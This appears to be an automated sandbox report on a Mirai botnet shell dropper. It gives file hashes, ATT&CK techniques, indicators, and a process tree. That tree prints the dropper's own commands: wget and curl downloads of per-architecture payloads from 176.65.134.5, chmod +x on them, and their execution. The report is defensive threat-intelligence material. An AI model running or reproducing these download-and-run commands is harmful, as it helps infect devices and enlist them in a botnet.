mirai | 6dd36ae06f8ade5299fdb81d072d735d17d15dd4447ab7d1b2b71bf66e0b2b1a

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240729-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
07/03/2025, 02:31

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General

Target

sh.sh
Size

1KB
MD5

c46ce91068e77aa58bd2127bec2ee6c3
SHA1

fced6e9a98cb1fd8b568f7698dbf1b4e1e4231d5
SHA256

6dd36ae06f8ade5299fdb81d072d735d17d15dd4447ab7d1b2b71bf66e0b2b1a
SHA512

ace2a1517ff4dceb812a495e8f5d5a4bbec6825964ffca84b076f57610ed09232b3ad76e995fd83ba121d4a36f82acb0136f27da8d4fc272bd083ac1d8e3e7e9

Score

10^/10

mirai botnet botnet defense_evasion discovery

Malware Config

Extracted

Family

mirai

Botnet

BOTNET

Extracted

Family

mirai

Botnet

BOTNET

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
Contacts a large (183324) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1531	chmod
1537	chmod
1543	chmod
1549	chmod
1561	chmod
1567	chmod
1555	chmod
1573	chmod
1516	chmod
1523	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/ssh	1517	sh.sh
/tmp/ssh	1524	sh.sh
/tmp/ssh	1532	sh.sh
/tmp/ssh	1538	sh.sh
/tmp/ssh	1544	sh.sh
/tmp/ssh	1550	sh.sh
/tmp/ssh	1556	sh.sh
/tmp/ssh	1562	sh.sh
/tmp/ssh	1568	sh.sh
/tmp/ssh	1574	sh.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	sh.sh
File opened for modification	/dev/misc/watchdog	sh.sh

Renames itself 1 IoCs

pid	Process
1517	sh.sh

Unexpected DNS network traffic destination 1 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	194.36.144.87

Enumerates active TCP sockets 1 TTPs 1 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	sh.sh

Enumerates running processes
Discovers information about currently running processes on the system

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	cron	1517	sh.sh

Reads system network configuration 1 TTPs 1 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	sh.sh

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/325/status	sh.sh
File opened for reading	/proc/16/comm	sh.sh
File opened for reading	/proc/32/comm	sh.sh
File opened for reading	/proc/160/comm	sh.sh
File opened for reading	/proc/169/comm	sh.sh
File opened for reading	/proc/426/comm	sh.sh
File opened for reading	/proc/1178/comm	sh.sh
File opened for reading	/proc/1564/maps	sh.sh
File opened for reading	/proc/20/comm	sh.sh
File opened for reading	/proc/1282/comm	sh.sh
File opened for reading	/proc/1308/status	sh.sh
File opened for reading	/proc/1511/status	sh.sh
File opened for reading	/proc/1546/maps	sh.sh
File opened for reading	/proc/1179/comm	sh.sh
File opened for reading	/proc/1155/status	sh.sh
File opened for reading	/proc/1178/status	sh.sh
File opened for reading	/proc/5/comm	sh.sh
File opened for reading	/proc/1070/comm	sh.sh
File opened for reading	/proc/961/status	sh.sh
File opened for reading	/proc/85/comm	sh.sh
File opened for reading	/proc/691/comm	sh.sh
File opened for reading	/proc/171/comm	sh.sh
File opened for reading	/proc/671/comm	sh.sh
File opened for reading	/proc/1308/comm	sh.sh
File opened for reading	/proc/493/status	sh.sh
File opened for reading	/proc/913/status	sh.sh
File opened for reading	/proc/1535/maps	sh.sh
File opened for reading	/proc/1559/maps	sh.sh
File opened for reading	/proc/1142/status	sh.sh
File opened for reading	/proc/self/maps	sh.sh
File opened for reading	/proc/26/comm	sh.sh
File opened for reading	/proc/649/status	sh.sh
File opened for reading	/proc/1547/cmdline	sh.sh
File opened for reading	/proc/167/comm	sh.sh
File opened for reading	/proc/175/comm	sh.sh
File opened for reading	/proc/325/comm	sh.sh
File opened for reading	/proc/1151/comm	sh.sh
File opened for reading	/proc/1151/status	sh.sh
File opened for reading	/proc/19/comm	sh.sh
File opened for reading	/proc/1027/comm	sh.sh
File opened for reading	/proc/473/status	sh.sh
File opened for reading	/proc/1540/cmdline	sh.sh
File opened for reading	/proc/1204/comm	sh.sh
File opened for reading	/proc/502/status	sh.sh
File opened for reading	/proc/731/status	sh.sh
File opened for reading	/proc/510/comm	sh.sh
File opened for reading	/proc/431/status	sh.sh
File opened for reading	/proc/1553/cmdline	sh.sh
File opened for reading	/proc/477/comm	sh.sh
File opened for reading	/proc/1146/comm	sh.sh
File opened for reading	/proc/1319/comm	sh.sh
File opened for reading	/proc/1502/comm	sh.sh
File opened for reading	/proc/477/status	sh.sh
File opened for reading	/proc/1176/status	sh.sh
File opened for reading	/proc/1179/status	sh.sh
File opened for reading	/proc/1529/maps	sh.sh
File opened for reading	/proc/82/comm	sh.sh
File opened for reading	/proc/161/comm	sh.sh
File opened for reading	/proc/319/comm	sh.sh
File opened for reading	/proc/427/comm	sh.sh
File opened for reading	/proc/965/comm	sh.sh
File opened for reading	/proc/1107/comm	sh.sh
File opened for reading	/proc/1529/cmdline	sh.sh
File opened for reading	/proc/736/comm	sh.sh

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1519	wget
1521	curl
1522	cat

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/jklx86	wget
File opened for modification	/tmp/jklx86	curl
File opened for modification	/tmp/ssh	sh.sh
File opened for modification	/tmp/jklmips	wget
File opened for modification	/tmp/jklmips	curl
File opened for modification	/tmp/jklmpsl	wget

/tmp/sh.sh
/tmp/sh.sh
1⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Renames itself
- Enumerates active TCP sockets
- Changes its process name
- Reads system network configuration
- Reads runtime system information
- Writes file to tmp directory
PID:1509
- /usr/bin/wget
  wget http://176.65.134.5/jklx86
  2⤵
  - Writes file to tmp directory
  PID:1510
- /usr/bin/curl
  curl -O http://176.65.134.5/jklx86
  2⤵
  - Writes file to tmp directory
  PID:1514
- /bin/cat
  cat jklx86
  2⤵
  PID:1515
- /bin/chmod
  chmod +x config-err-dB3BHa jklx86 netplan_ke6ktkgw sh.sh snap-private-tmp ssh ssh-bH0eWunku0iN systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-bolt.service-Ocwvmt systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-colord.service-c2cuRy systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-ModemManager.service-K8fZsT systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-systemd-resolved.service-E88vp7 systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-systemd-timedated.service-mAYft1
  2⤵
  - File and Directory Permissions Modification
  PID:1516
- /usr/bin/wget
  wget http://176.65.134.5/jklmips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1519
- /usr/bin/curl
  curl -O http://176.65.134.5/jklmips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1521
- /bin/cat
  cat jklmips
  2⤵
  - System Network Configuration Discovery
  PID:1522
- /bin/chmod
  chmod +x config-err-dB3BHa jklmips jklx86 netplan_ke6ktkgw sh.sh snap-private-tmp ssh ssh-bH0eWunku0iN systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-bolt.service-Ocwvmt systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-colord.service-c2cuRy systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-ModemManager.service-K8fZsT systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-systemd-resolved.service-E88vp7 systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-systemd-timedated.service-mAYft1
  2⤵
  - File and Directory Permissions Modification
  PID:1523
- /tmp/ssh
  ./ssh ssh
  2⤵
  PID:1524
- /usr/bin/wget
  wget http://176.65.134.5/jklmpsl
  2⤵
  - Writes file to tmp directory
  PID:1526
- /usr/bin/curl
  curl -O http://176.65.134.5/jklmpsl
  2⤵
  PID:1529
- /bin/cat
  cat jklmpsl
  2⤵
  PID:1530
- /bin/chmod
  chmod +x config-err-dB3BHa jklmips jklmpsl jklx86 netplan_ke6ktkgw sh.sh snap-private-tmp ssh ssh-bH0eWunku0iN systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-bolt.service-Ocwvmt systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-colord.service-c2cuRy systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-ModemManager.service-K8fZsT systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-systemd-resolved.service-E88vp7 systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-systemd-timedated.service-mAYft1
  2⤵
  - File and Directory Permissions Modification
  PID:1531
- /tmp/ssh
  ./ssh ssh
  2⤵
  PID:1532
- /usr/bin/wget
  wget http://176.65.134.5/jklarm4
  2⤵
  PID:1534
- /usr/bin/curl
  curl -O http://176.65.134.5/jklarm4
  2⤵
  PID:1535
- /bin/cat
  cat jklarm4
  2⤵
  PID:1536
- /bin/chmod
  chmod +x config-err-dB3BHa jklmips jklmpsl jklx86 netplan_ke6ktkgw sh.sh snap-private-tmp ssh ssh-bH0eWunku0iN systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-bolt.service-Ocwvmt systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-colord.service-c2cuRy systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-ModemManager.service-K8fZsT systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-systemd-resolved.service-E88vp7 systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-systemd-timedated.service-mAYft1
  2⤵
  - File and Directory Permissions Modification
  PID:1537
- /tmp/ssh
  ./ssh ssh
  2⤵
  PID:1538
- /usr/bin/wget
  wget http://176.65.134.5/jklarm5
  2⤵
  PID:1540
- /usr/bin/curl
  curl -O http://176.65.134.5/jklarm5
  2⤵
  PID:1541
- /bin/cat
  cat jklarm5
  2⤵
  PID:1542
- /bin/chmod
  chmod +x config-err-dB3BHa jklmips jklmpsl jklx86 netplan_ke6ktkgw sh.sh snap-private-tmp ssh ssh-bH0eWunku0iN systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-bolt.service-Ocwvmt systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-colord.service-c2cuRy systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-ModemManager.service-K8fZsT systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-systemd-resolved.service-E88vp7 systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-systemd-timedated.service-mAYft1
  2⤵
  - File and Directory Permissions Modification
  PID:1543
- /tmp/ssh
  ./ssh ssh
  2⤵
  PID:1544
- /usr/bin/wget
  wget http://176.65.134.5/jklarm6
  2⤵
  PID:1546
- /usr/bin/curl
  curl -O http://176.65.134.5/jklarm6
  2⤵
  PID:1547
- /bin/cat
  cat jklarm6
  2⤵
  PID:1548
- /bin/chmod
  chmod +x config-err-dB3BHa jklmips jklmpsl jklx86 netplan_ke6ktkgw sh.sh snap-private-tmp ssh ssh-bH0eWunku0iN systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-bolt.service-Ocwvmt systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-colord.service-c2cuRy systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-ModemManager.service-K8fZsT systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-systemd-resolved.service-E88vp7 systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-systemd-timedated.service-mAYft1
  2⤵
  - File and Directory Permissions Modification
  PID:1549
- /tmp/ssh
  ./ssh ssh
  2⤵
  PID:1550
- /usr/bin/wget
  wget http://176.65.134.5/jklarm7
  2⤵
  PID:1552
- /usr/bin/curl
  curl -O http://176.65.134.5/jklarm7
  2⤵
  PID:1553
- /bin/cat
  cat jklarm7
  2⤵
  PID:1554
- /bin/chmod
  chmod +x config-err-dB3BHa jklmips jklmpsl jklx86 netplan_ke6ktkgw sh.sh snap-private-tmp ssh ssh-bH0eWunku0iN systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-bolt.service-Ocwvmt systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-colord.service-c2cuRy systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-ModemManager.service-K8fZsT systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-systemd-resolved.service-E88vp7 systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-systemd-timedated.service-mAYft1
  2⤵
  - File and Directory Permissions Modification
  PID:1555
- /tmp/ssh
  ./ssh ssh
  2⤵
  PID:1556
- /usr/bin/wget
  wget http://176.65.134.5/jklppc
  2⤵
  PID:1558
- /usr/bin/curl
  curl -O http://176.65.134.5/jklppc
  2⤵
  PID:1559
- /bin/cat
  cat jklppc
  2⤵
  PID:1560
- /bin/chmod
  chmod +x config-err-dB3BHa jklmips jklmpsl jklx86 netplan_ke6ktkgw sh.sh snap-private-tmp ssh ssh-bH0eWunku0iN systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-bolt.service-Ocwvmt systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-colord.service-c2cuRy systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-ModemManager.service-K8fZsT systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-systemd-resolved.service-E88vp7 systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-systemd-timedated.service-mAYft1
  2⤵
  - File and Directory Permissions Modification
  PID:1561
- /tmp/ssh
  ./ssh ssh
  2⤵
  PID:1562
- /usr/bin/wget
  wget http://176.65.134.5/jklm68k
  2⤵
  PID:1564
- /usr/bin/curl
  curl -O http://176.65.134.5/jklm68k
  2⤵
  PID:1565
- /bin/cat
  cat jklm68k
  2⤵
  PID:1566
- /bin/chmod
  chmod +x config-err-dB3BHa jklmips jklmpsl jklx86 netplan_ke6ktkgw sh.sh snap-private-tmp ssh ssh-bH0eWunku0iN systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-bolt.service-Ocwvmt systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-colord.service-c2cuRy systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-ModemManager.service-K8fZsT systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-systemd-resolved.service-E88vp7 systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-systemd-timedated.service-mAYft1
  2⤵
  - File and Directory Permissions Modification
  PID:1567
- /tmp/ssh
  ./ssh ssh
  2⤵
  PID:1568
- /usr/bin/wget
  wget http://176.65.134.5/jklsh4
  2⤵
  PID:1570
- /usr/bin/curl
  curl -O http://176.65.134.5/jklsh4
  2⤵
  PID:1571
- /bin/cat
  cat jklsh4
  2⤵
  PID:1572
- /bin/chmod
  chmod +x config-err-dB3BHa jklmips jklmpsl jklx86 netplan_ke6ktkgw sh.sh snap-private-tmp ssh ssh-bH0eWunku0iN systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-bolt.service-Ocwvmt systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-colord.service-c2cuRy systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-ModemManager.service-K8fZsT systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-systemd-resolved.service-E88vp7 systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-systemd-timedated.service-mAYft1
  2⤵
  - File and Directory Permissions Modification
  PID:1573
- /tmp/ssh
  ./ssh ssh
  2⤵
  PID:1574

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/jklmips

Filesize
74KB

MD5
da5f082847104367fefde63653084863

SHA1
63a45455eb18ea7f6f5d1b374bd1cb18781c6a86

SHA256
6fc1f441c08b49ceb3083fa2a201d424c5282ec7a5cd2431bd017490ba2b23de

SHA512
2c406081e2a226af6dbe06370224d14dca11f73b7532069ca028027816eb61122b6b49e9ec672c041cf362792aa1e23ca9e29dbe8c580e8838a6f7d2c2edffa6

Download Submit
/tmp/jklmpsl

Filesize
74KB

MD5
eb8e5a5d4d7a332bf23f7cc07c05389f

SHA1
dd9291fec1c6905ba48fdf18462a0a350e82d36a

SHA256
0ee587fea341d9da43777102b508c6017d29ad537594afa596e042d4ecd67cf8

SHA512
c5aa6c4e4c4218b21d2f0cf7cdab53f7b21c8f615db7bcf1f11f9aed5e0efc57d09abfcdf6205fa16808c7af0ada585c357c7f6913bfeda02737411f8a1dbcec

Download Submit
/tmp/jklx86

Filesize
49KB

MD5
84597b4e86a02818478e8e9ef7c74485

SHA1
80d83dea146a0fc48a5154c87d19bbefd3a1c26b

SHA256
28bb529e99c8730de533d64995979a491d6af643ddcd99997788ff945dc6b426

SHA512
02d3c182c9b10bc5a21a0459599d86b4254307e11e35e77e140c82dd97b86ed180c73c5068fd4706e6f7d2896b167521f5cbc67a89d457a1aaf77770180ae08f

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads